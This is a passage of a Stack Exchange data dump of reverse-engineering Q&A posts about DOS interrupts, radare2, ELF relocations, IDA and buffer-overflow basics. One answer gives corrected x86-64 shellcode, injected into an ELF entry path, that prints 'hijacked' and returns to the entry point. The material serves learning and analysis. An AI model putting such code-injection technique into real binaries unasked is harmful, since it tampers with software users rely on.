      {&#xA;            $row+= &quot;Yes&quot;&#xA;        }&#xA;        else&#xA;        {&#xA;            $row+=&quot;No&quot;&#xA;        }&#xA;    }&#xA;&#xA;    $table.Rows.Add($row)&#xA;&#xA;}&#xA;&#xA;$table | Export-Csv -NoTypeInformation APIUse.csv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This identified the following interrupt calls used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int 0C7h - used by BASIC while in interpreter&#xA;int 0Dh - IRQ5 - FIXED DISK (PC), LPT2 (AT/PS)&#xA;int 0E4h - used by BASIC while in interpreter&#xA;int 0Fh - IRQ7 - PRINTER INTERRUPT&#xA;int 10h - VIDEO - ALTERNATE FUNCTION SELECT (PS, EGA, VGA, MCGA) - GET EGA INFO&#xA;int 10h - VIDEO - DISPLAY COMBINATION (PS,VGA/MCGA): read display combination code&#xA;int 10h - VIDEO - GET CURRENT VIDEO MODE&#xA;int 10h - VIDEO - GET INDIVIDUAL PALETTE REGISTER (VGA)&#xA;int 10h - VIDEO - INSTALLATION CHECK (Video7 VGA,VEGA VGA)&#xA;int 10h - VIDEO - Microsoft Mouse driver EGA support - WRITE ONE REGISTER&#xA;int 10h - VIDEO - READ ATTRIBUTES/CHARACTER AT CURSOR POSITION&#xA;int 10h - VIDEO - READ CURSOR POSITION&#xA;int 10h - VIDEO - READ INDIVIDUAL DAC REGISTER (EGA, VGA/MCGA)&#xA;int 10h - VIDEO - SCROLL PAGE UP&#xA;int 10h - VIDEO - SELECT DISPLAY PAGE&#xA;int 10h - VIDEO - SET CURSOR CHARACTERISTICS&#xA;int 10h - VIDEO - SET CURSOR POSITION&#xA;int 10h - VIDEO - SET INDIVIDUAL DAC REGISTER (EGA, VGA/MCGA)&#xA;int 10h - VIDEO - SET VIDEO MODE&#xA;int 10h - VIDEO - WRITE ATTRIBUTES/CHARACTERS AT CURSOR POSITION&#xA;int 10h - VIDEO - WRITE CHARACTERS ONLY AT CURSOR POSITION&#xA;int 11h - EQUIPMENT DETERMINATION&#xA;int 15h - Get Extended Memory Size&#xA;int 15h - SYSTEM - GET CONFIGURATION (XT after 1/10/86,AT mdl 3x9,CONV,XT286,PS)&#xA;int 16h - KEYBOARD - CHECK BUFFER, DO NOT CLEAR&#xA;int 16h - KEYBOARD - GET SHIFT STATUS&#xA;int 16h - KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY&#xA;int 1Ah - CLOCK - GET TIME OF DAY&#xA;int 20h - DOS - PROGRAM TERMINATION&#xA;int 21h - DOS - 2+ - ADJUST MEMORY BLOCK SIZE (SETBLOCK)&#xA;int 21h - DOS - 2+ - ALLOCATE MEMORY&#xA;int 21h - DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)&#xA;int 21h - DOS - 2+ - CLOSE A FILE WITH HANDLE&#xA;int 21h - DOS - 2+ - CREATE A FILE WITH HANDLE (CREAT)&#xA;int 21h - DOS - 2+ - CREATE A SUBDIRECTORY (MKDIR)&#xA;int 21h - DOS - 2+ - CREATE DUPLICATE HANDLE (DUP)&#xA;int 21h - DOS - 2+ - DELETE A FILE (UNLINK)&#xA;int 21h - DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)&#xA;int 21h - DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT)&#xA;int 21h - DOS - 2+ - FORCE DUPLICATE HANDLE (FORCDUP,DUP2)&#xA;int 21h - DOS - 2+ - FREE MEMORY&#xA;int 21h - DOS - 2+ - GET COUNTRY-DEPENDENT INFORMATION&#xA;int 21h - DOS - 2+ - GET CURRENT DIRECTORY&#xA;int 21h - DOS - 2+ - GET DISK SPACE&#xA;int 21h - DOS - 2+ - GET EXIT CODE OF SUBPROGRAM (WAIT)&#xA;int 21h - DOS - 2+ - GET FILE ATTRIBUTES&#xA;int 21h - DOS - 2+ - GET FILE'S DATE/TIME&#xA;int 21h - DOS - 2+ - GET INTERRUPT VECTOR&#xA;int 21h - DOS - 2+ - GET VERIFY FLAG&#xA;int 21h - DOS - 2+ - IOCTL - GET DEVICE INFORMATION&#xA;int 21h - DOS - 2+ - IOCTL - READ CHARACTER DEVICE CONTROL STRING&#xA;int 21h - DOS - 2+ - IOCTL - SET DEVICE INFORMATION&#xA;int 21h - DOS - 2+ - LOAD OR EXECUTE (EXEC)&#xA;int 21h - DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)&#xA;int 21h - DOS - 2+ - OPEN DISK FILE WITH HANDLE&#xA;int 21h - DOS - 2+ - QUIT WITH EXIT CODE (EXIT)&#xA;int 21h - DOS - 2+ - READ FROM FILE WITH HANDLE&#xA;int 21h - DOS - 2+ - REMOVE A DIRECTORY ENTRY (RMDIR)&#xA;int 21h - DOS - 2+ - RENAME A FILE&#xA;int 21h - DOS - 2+ - SET FILE ATTRIBUTES&#xA;int 21h - DOS - 2+ - SET FILE'S DATE/TIME&#xA;int 21h - DOS - 2+ - WRITE TO FILE WITH HANDLE&#xA;int 21h - DOS - 2+ internal - GET LIST OF LISTS&#xA;int 21h - DOS - 2+ internal - GET SWITCHAR/AVAILDEV&#xA;int 21h - DOS - 2+ internal - RETURN CritSectFlag (InDOS) POINTER&#xA;int 21h - DOS - 2+ internal - SET PSP SEGMENT&#xA;int 21h - DOS - 3.1+ internal - GET ADDRESS OF DOS SWAPPABLE DATA AREA&#xA;int 21h - DOS - 3+ - CREATE NEW FILE&#xA;int 21h - DOS - 3+ - GET EXTENDED ERROR CODE&#xA;int 21h - DOS - 3+ - GET PSP ADDRESS&#xA;int 21h - DOS - 4.0 - EXTENDED OPEN/CREATE&#xA;int 21h - DOS - BUFFERED KEYBOARD INPUT&#xA;int 21h - DOS - CLEAR KEYBOARD BUFFER&#xA;int 21h - DOS - DIRECT CONSOLE I/O CHARACTER OUTPUT&#xA;int 21h - DOS - DIRECT STDIN INPUT, NO ECHO&#xA;int 21h - DOS - DISK RESET&#xA;int 21h - DOS - DISPLAY OUTPUT&#xA;int 21h - DOS - DOS 2+ - TERMINATE BUT STAY RESIDENT&#xA;int 21h - DOS - DOS v??? - OEM FUNCTION&#xA;int 21h - DOS - EXTENDED CONTROL-BREAK CHECKING&#xA;int 21h - DOS - GET ALLOCATION TABLE INFORMATION FOR SPECIFIC DRIVE&#xA;int 21h - DOS - GET CURRENT DATE&#xA;int 21h - DOS - GET CURRENT TIME&#xA;int 21h - DOS - GET DEFAULT DISK NUMBER&#xA;int 21h - DOS - GET DISK TRANSFER AREA ADDRESS&#xA;int 21h - DOS - GET DOS VERSION&#xA;int 21h - DOS - KEYBOARD INPUT&#xA;int 21h - DOS - KEYBOARD INPUT, NO ECHO&#xA;int 21h - DOS - Novell Advanced NetWare 2.0+ - FILE SERVER FILE COPY&#xA;int 21h - DOS - PARSE FILENAME&#xA;int 21h - DOS - PRINT STRING&#xA;int 21h - DOS - SELECT DISK&#xA;int 21h - DOS - SET CURRENT DATE&#xA;int 21h - DOS - SET CURRENT TIME&#xA;int 21h - DOS - SET DISK TRANSFER AREA ADDRESS&#xA;int 21h - DOS - SET INTERRUPT VECTOR&#xA;int 21h - DOS - SET VERIFY FLAG&#xA;int 2Fh - Multiplex - MS WINDOWS -  3+ - BEGIN CRITICAL SECTION&#xA;int 2Fh - Multiplex - MS WINDOWS - ENHANCED WINDOWS INSTALLATION CHECK&#xA;int 2Fh - Multiplex - MS WINDOWS - Mode Interface - INSTALLATION CHECK&#xA;int 2Fh - Multiplex - XMS - GET DRIVER ADDRESS&#xA;int 2Fh - Multiplex - XMS - INSTALLATION CHECK&#xA;int 3 - Trap to Debugger&#xA;int 31h - DPMI Services   ax=func xxxxh&#xA;int 33h - MS MOUSE - DEFINE DOUBLE-SPEED THRESHOLD&#xA;int 33h - MS MOUSE - DEFINE INTERRUPT SUBROUTINE PARAMETERS&#xA;int 33h - MS MOUSE - DEFINE SCREEN REGION FOR UPDATING&#xA;int 33h - MS MOUSE - DEFINE TEXT CURSOR&#xA;int 33h - MS MOUSE - HIDE MOUSE CURSOR&#xA;int 33h - MS MOUSE - POSITION MOUSE CURSOR&#xA;int 33h - MS MOUSE - READ MOTION COUNTERS&#xA;int 33h - MS MOUSE - RESET DRIVER AND READ STATUS&#xA;int 33h - MS MOUSE - RESTORE DRIVER STATE&#xA;int 33h - MS MOUSE - RETURN DRIVER STORAGE REQUIREMENTS&#xA;int 33h - MS MOUSE - RETURN POSITION AND BUTTON STATUS&#xA;int 33h - MS MOUSE - SAVE DRIVER STATE&#xA;int 33h - MS MOUSE - SHOW MOUSE CURSOR&#xA;int 3Fh - Overlay manager interrupt&#xA;int 48h - PCjr - Cordless Keyboard Translation&#xA;int 67h - LIM EMS - GET HANDLE AND ALLOCATE MEMORY&#xA;int 67h - LIM EMS - GET NUMBER OF PAGES&#xA;int 67h - LIM EMS - GET PAGE FRAME SEGMENT&#xA;int 67h - LIM EMS - MAP MEMORY&#xA;int 67h - LIM EMS - RELEASE HANDLE AND MEMORY&#xA;int 67h - LIM EMS 4.0 - REALLOCATE PAGES&#xA;int 67h - LIM EMS Program Interface - FREE 4K PAGE&#xA;int 67h - LIM EMS Program Interface - GET 8259 INTERRUPT VECTOR MAPPINGS&#xA;int 67h - LIM EMS Program Interface - GET PROTECTED MODE INTERFACE&#xA;int 67h - LIM EMS Program Interface - INSTALLATION CHECK&#xA;int 67h - LIM EMS Program Interface - SWITCH TO PROTECTED MODE&#xA;int 75h - IRQ13 - AT/XT286/PS50+ - 80287 ERROR&#xA;int 7Ah - Novell NetWare to v2.0a - LOW-LEVEL API&#xA;int 89h - used by BASIC while in interpreter&#xA;int 8Ch - used by BASIC while in interpreter&#xA;int 91h - used by BASIC while in interpreter&#xA;int 98h - used by BASIC while in interpreter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I look for to confirm if an app uses DOS/4GW?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-29T12:43:01.787" Title="Within A Folder of 100s of 16-bit MS-DOS Disassembled EXEs Identify Ones That Need/Use DOS/4GW" Tags="|disassembly|dos|dos-exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23143" PostTypeId="2" ParentId="23136" CreationDate="2020-01-29T07:46:39.347" Score="1" Body="&lt;p&gt;Your problem is that you change the expected flow of the program - By patching the &lt;code&gt;JMP&lt;/code&gt; you completely change the flow - it's not a &lt;code&gt;call&lt;/code&gt; so the original flow doesn't get back to the &lt;code&gt;push rdi&lt;/code&gt; instruction, but after patching it does, so the behavior is not expected. Try to look for what happens in &lt;code&gt;7FFCAE2A0F13&lt;/code&gt;, and maybe to patch inside. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-29T07:46:39.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23144" PostTypeId="2" ParentId="23138" CreationDate="2020-01-29T07:48:51.213" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://www.nsa.gov/resources/everyone/ghidra/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; is a great tool that supports decompile for many CPU architectures.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-29T07:48:51.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23146" PostTypeId="2" ParentId="23142" CreationDate="2020-01-29T12:43:01.787" Score="2" Body="&lt;p&gt;DOS/4GW executables normally use LE (linear executable) format for the actual main program (the DOS stub is just a launcher for the DOS4GW.EXE extender) and should be detected as such by IDA so you can probably just check the loaded file format. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-29T12:43:01.787" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23149" PostTypeId="1" CreationDate="2020-01-29T18:10:24.453" Score="4" ViewCount="3456" Body="&lt;p&gt;I have a variable called &lt;code&gt;var_14h&lt;/code&gt; in disassemble code. I want to rename this variable. I try to rename the variable by using the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;afvn var_14h i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, radare complains and returns an error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cant find var by name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i just execute &lt;code&gt;afv&lt;/code&gt; the variable is listed: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var int64_t var_14h @ rbp-0x14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to refer using &lt;code&gt;rbp-0x14&lt;/code&gt;, &lt;code&gt;[var_14h]&lt;/code&gt;, however, nothing seems to work. What am i missing? &lt;/p&gt;&#xA;" OwnerUserId="30940" LastActivityDate="2022-03-26T10:51:35.540" Title="Renaming variables radare2" Tags="|disassembly|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23152" PostTypeId="2" ParentId="23127" CreationDate="2020-01-29T21:58:00.580" Score="1" Body="&lt;p&gt;One common issue I’ve seen in real programs is the NULL pointer which has the same value as the integer 0. For example, currently (2020) the Hex-Rays decompiler does not support one variable holding different types so for example when a register initialized with zero is used as integer in one branch and as pointer in another, you might see “funny” output. Alas I don’t have an example at hand but if I see it again I’ll add it here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that comes to mind is the “clever” implementation of double linked list using one field to store both next and previous pointers, known as &lt;a href=&quot;https://en.wikipedia.org/wiki/XOR_linked_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;XOR Linked List&lt;/a&gt;. This pattern is probably about impossible to recover automatically but luckily it seems to be more of a theoretical curiosity than  practical construct. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-29T21:58:00.580" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23153" PostTypeId="2" ParentId="23149" CreationDate="2020-01-29T22:03:20.573" Score="3" Body="&lt;p&gt;I think the order of names changed a while ago but if you're using latest from &lt;a href=&quot;https://github.com/radareorg/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;git&lt;/a&gt; (which you should) the order is reversed&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[0x00005850]&amp;gt; afv?&lt;Br /&gt;&#xA;Usage:               analyze function arguments/locals&lt;br /&gt;&#xA;...&lt;br /&gt;&#xA;| afvn [new_name] ([old_name])  rename argument/local&lt;br /&gt;&#xA;| afvt [name] [new_type]        change type for given argument/local&lt;br /&gt;&#xA;| afv-([name])                  remove all or given var&lt;Br /&gt;&#xA;[0x00005850]&amp;gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So in your case &lt;code&gt;afvn i var_14h&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="-1" LastEditDate="2022-03-26T10:51:35.540" LastActivityDate="2022-03-26T10:51:35.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23154" PostTypeId="1" AcceptedAnswerId="23155" CreationDate="2020-01-30T06:53:20.290" Score="1" ViewCount="244" Body="&lt;p&gt;My question is: Why does &lt;code&gt;readelf -x .data bin.so&lt;/code&gt; give me empty data when ghidra does not? (0x00 repeated for section length until last element 0xFFFFFFFF). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ghidra/JEB contradict me by showing that it has populated data (only first 8 bytes are null). I have tried python tools lief, elfcat, among others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obtaining repro file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;wget &lt;a href=&quot;https://repo1.maven.org/maven2/com/facebook/fresco/imagepipeline/2.0.0/imagepipeline-2.0.0.aar&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://repo1.maven.org/maven2/com/facebook/fresco/imagepipeline/2.0.0/imagepipeline-2.0.0.aar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;unzip imagepipeline-2.0.0.aar &quot;jni/arm64-v8a/libimagepipeline.so&lt;/li&gt;&#xA;&lt;li&gt;readelf -x .data jni/arm64-v8a/libimagepipeline.so&lt;/li&gt;&#xA;&lt;li&gt;Load the elf into ghidra and confirm that the .data section (can be found by double clicking on .data in &quot;Program Tree&quot; on left(default) hand side) is populated with excellent data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30945" LastActivityDate="2020-01-30T08:54:02.577" Title="empty .data section in AARCH64 elf binaries" Tags="|binary-analysis|binary|ghidra|arm64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23155" PostTypeId="2" ParentId="23154" CreationDate="2020-01-30T08:48:00.350" Score="1" Body="&lt;p&gt;The &lt;code&gt;.data&lt;/code&gt; is filled with relocation information at load time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;code&gt;IDA&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:0000000000000598 08 20 01 00+                Elf64_Rela &amp;lt;0x12008, 0x403, 0x11EF&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000005B0 10 20 01 00+                Elf64_Rela &amp;lt;0x12010, 0x403, 0x1200&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000005C8 18 20 01 00+                Elf64_Rela &amp;lt;0x12018, 0x403, 0xC48&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000005E0 20 20 01 00+                Elf64_Rela &amp;lt;0x12020, 0x403, 0x127B&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000005F8 28 20 01 00+                Elf64_Rela &amp;lt;0x12028, 0x403, 0x128B&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000610 30 20 01 00+                Elf64_Rela &amp;lt;0x12030, 0x403, 0xEE8&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000628 38 20 01 00+                Elf64_Rela &amp;lt;0x12038, 0x403, 0x12F1&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000640 40 20 01 00+                Elf64_Rela &amp;lt;0x12040, 0x403, 0x1300&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000658 48 20 01 00+                Elf64_Rela &amp;lt;0x12048, 0x403, 0x1000&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000670 50 20 01 00+                Elf64_Rela &amp;lt;0x12050, 0x403, 0x1305&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000688 58 20 01 00+                Elf64_Rela &amp;lt;0x12058, 0x403, 0x1310&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000006A0 60 20 01 00+                Elf64_Rela &amp;lt;0x12060, 0x403, 0x104C&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000006B8 68 20 01 00+                Elf64_Rela &amp;lt;0x12068, 0x403, 0x1315&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000006D0 70 20 01 00+                Elf64_Rela &amp;lt;0x12070, 0x403, 0x132B&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000006E8 78 20 01 00+                Elf64_Rela &amp;lt;0x12078, 0x403, 0x1054&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000700 80 20 01 00+                Elf64_Rela &amp;lt;0x12080, 0x403, 0x1334&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000718 88 20 01 00+                Elf64_Rela &amp;lt;0x12088, 0x403, 0x132B&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000730 90 20 01 00+                Elf64_Rela &amp;lt;0x12090, 0x403, 0x1074&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000748 98 20 01 00+                Elf64_Rela &amp;lt;0x12098, 0x403, 0x134C&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000760 A0 20 01 00+                Elf64_Rela &amp;lt;0x120A0, 0x403, 0x1359&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000778 A8 20 01 00+                Elf64_Rela &amp;lt;0x120A8, 0x403, 0x1094&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:0000000000000790 B0 20 01 00+                Elf64_Rela &amp;lt;0x120B0, 0x403, 0x1360&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000007A8 B8 20 01 00+                Elf64_Rela &amp;lt;0x120B8, 0x403, 0x136F&amp;gt; ; R_AARCH64_RELATIVE&#xA;LOAD:00000000000007C0 C0 20 01 00+                Elf64_Rela &amp;lt;0x120C0, 0x403, 0x10A8&amp;gt; ; R_AARCH64_RELATIVE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that every entry is corresponding to the data you see in the &lt;code&gt;.data&lt;/code&gt; section.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-01-30T08:54:02.577" LastActivityDate="2020-01-30T08:54:02.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23156" PostTypeId="2" ParentId="23134" CreationDate="2020-01-30T11:02:24.610" Score="1" Body="&lt;p&gt;I started from scratch, used OllyDbg to find the opcodes as they are in memory and then wrote my heuristics for finding certain opcodes of interest also operate on the image in memory. There were some weird differences such as a certain MOV operating on EBP as opposed to ESI on disk (which I now think is related to thread-local storage, since apparently the Windows linker does rewrite things?), but I managed to get it work.&lt;/p&gt;&#xA;" OwnerUserId="30927" LastActivityDate="2020-01-30T11:02:24.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23157" PostTypeId="2" ParentId="23083" CreationDate="2020-01-30T21:03:14.307" Score="1" Body="&lt;p&gt;You problem is that your shellcode uses &lt;code&gt;RDX&lt;/code&gt; by setting &lt;code&gt;dl&lt;/code&gt; to &lt;code&gt;9&lt;/code&gt; for the sake of &lt;code&gt;sys_write&lt;/code&gt; syscall. You are not setting this variable back to it's initial value of &lt;code&gt;0&lt;/code&gt; and unfortunately this is being passed to &lt;code&gt;_start&lt;/code&gt; where it's being treated as a pointer to function that will be executed as a finalizer. That's why you're getting a segfault since CPU try to execute code from address &lt;code&gt;0x9&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should save the registers before you execute your shellcode and restore them before returning to the entry point. But for the sake of this example it will work if you would just clear (r)dx before jumping back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modified shellcode with added &lt;code&gt;\x48\x31\xd2&lt;/code&gt; for &lt;code&gt;xor rdx,rdx&lt;/code&gt; and changed offsets at &lt;code&gt;shellcode[10]&lt;/code&gt; and &lt;code&gt;shellcode[37]&lt;/code&gt; to adjust for additional bytes in it (modified them manually - if you have the source code - you can do that in code and compile)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char shellcode[] = &#xA;              &quot;\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\xeb&quot;&#xA;              &quot;\x19\x5e\xb0\x01\x40\xb7\x01\xb2\x09\x0f&quot;&#xA;              &quot;\x05\x48\xb8\x41\x41\x41\x41\x41\x41\x41\xff\x48\x31\xd2&quot;               &#xA;              &quot;\xff\xe0\xe8\xe2\xff\xff\xff\x68\x69\x6a&quot;&#xA;              &quot;\x61\x63\x6b\x65\x64\x0a&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bit more explanation why &lt;code&gt;RDX&lt;/code&gt; is problematic here. After your shellcode finishes its job it executes &lt;code&gt;_start&lt;/code&gt; which has those two lines as in the beginning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  00400a30 31  ed          XOR       EBP ,EBP&#xA;  00400a32 49  89  d1      MOV       R9 ,RDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so whatever will be in &lt;code&gt;RDX&lt;/code&gt; will be assigned to &lt;code&gt;R9&lt;/code&gt;. Later the &lt;code&gt;__libc_start_main&lt;/code&gt; is called and if you check its' signature (for example &lt;a href=&quot;https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) you can see it takes 7 arguments. The are passed via registers and according to Linux ABI the 6th is passed as a &lt;code&gt;R9&lt;/code&gt; register and the 6th parameter in &lt;code&gt;_libc_start_main&lt;/code&gt; is callback for finalizers. That's why value in &lt;code&gt;RDX&lt;/code&gt; matters as it's being passed to &lt;code&gt;R9&lt;/code&gt; and in the end ends up as a callback address.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-01-30T22:42:00.527" LastActivityDate="2020-01-30T22:42:00.527" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23159" PostTypeId="1" CreationDate="2020-01-30T23:24:33.933" Score="1" ViewCount="101" Body="&lt;p&gt;I am reversing a BIOS and its code extensively uses SP register for 16-bit return addresses (and also things like &quot;bswap ESP&quot; to obtain a &quot;two-level-deep&quot; stack, and rarely &quot;mov mm7, esp&quot; to obtain a &quot;4-level-deep&quot; stack etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems IDA does not track SP-related statements, even simple sequence of &quot;mov SP, F123h&quot; (inside the &quot;caller&quot; subroutine) followed by &quot;jmp sp&quot; (inside the &quot;callee&quot; subroutine) is not recognized. Therefore IDA can't show me a proper proximity view and I have to track the SP value and the whole control flow by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automate this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that I can add XREFs manually using ALT+F11. When I press ALT+F11 the callee dialog appears, but after I enter the address and click OK nothing happens. At least nothing visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Is it supposed to work only for &quot;call&quot; instructions, but not for &quot;jmp&quot;s? If not, where does the cursor have to be placed before pressing ALT+F11?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I'm using IDA Pro 6.8.&lt;/p&gt;&#xA;" OwnerUserId="30881" LastActivityDate="2020-01-30T23:24:33.933" Title="IDA Pro SP tracking" Tags="|ida|static-analysis|ida-plugin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23160" PostTypeId="1" CreationDate="2020-01-31T03:06:06.463" Score="1" ViewCount="54" Body="&lt;p&gt;While attempting to build a Theos tweak, even a templated one created by Theos, I will encounter the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bash: line 1:  4665 Done                    swift --version&#xA;      4667 Broken pipe: 13         | head -1&#xA;      4669 Killed: 9               | cut -d'v' -f2&#xA;      4670 Killed: 9               | cut -d' ' -f2&#xA;      4672 Killed: 9               | cut -d'-' -f1&#xA;&#xA;....&#xA;&#xA;bash: -c: line 3: syntax error: unexpected end of file&#xA;make: *** [/var/root/theos/makefiles/package.mk:80: internal-install-check] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did some searching online but could not find a solution. If anyone knows about this, appreciate if you can provide some suggestions.&lt;/p&gt;&#xA;" OwnerUserId="27105" LastActivityDate="2020-01-31T03:06:06.463" Title="Theos Tweak compilation errors" Tags="|ios|arm64|" AnswerCount="0" CommentCount="1" ClosedDate="2020-02-02T19:27:09.757" ContentLicense="CC BY-SA 4.0" />
  <row Id="23161" PostTypeId="1" CreationDate="2020-01-31T11:37:54.107" Score="0" ViewCount="103" Body="&lt;p&gt;I decided that I need to understand this more thoroughly, so am working in parallel with two resources: one more modern and one original from @Aleph1.&lt;/p&gt;&#xA;&lt;p&gt;In the essay, there is a basic code snippet, called &lt;code&gt;example1.c&lt;/code&gt;, thus:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void function(int a, int b, int c) { &#xA;    char buffer1[5];&#xA;    char buffer2[10];&#xA;}&#xA;void main() { &#xA;    function(1,2,3);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the illustrated disassembly of that, once complied obvs, thus:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pushl %ebp&#xA;movl %esp,%ebp&#xA;subl $20,%esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$20&lt;/code&gt; is the size due to word size, as the 5 char buffer takes 8 bytes (2 words) and the 10 char buffer takes 12 bytes (3 words). So far so simple. This makes perfect sense to me.&lt;/p&gt;&#xA;&lt;p&gt;While playing along on Ubuntu 12.04 - 32bit version [chosen due to the other parallel disassembly blog post] - the same disassembly comes out as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push   %ebp&#xA;mov    %esp,%ebp&#xA;sub    $0xc,%esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$0xc&lt;/code&gt; is 12 in decimal. What is the reason for this discrepancy, assuming that I've copied the code properly. It's not really holding up my progress, but I feel that I should be able to understand why my code is subtracting by 12 bytes, and the example by 20. My best guess is that it's down to the architecture of the OS that I'm using in some way, but would like someone with more experience to validate this or tell me why.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was comparing apples with oranges, which I've just realised. The code from Aleph1's essay where it talks about 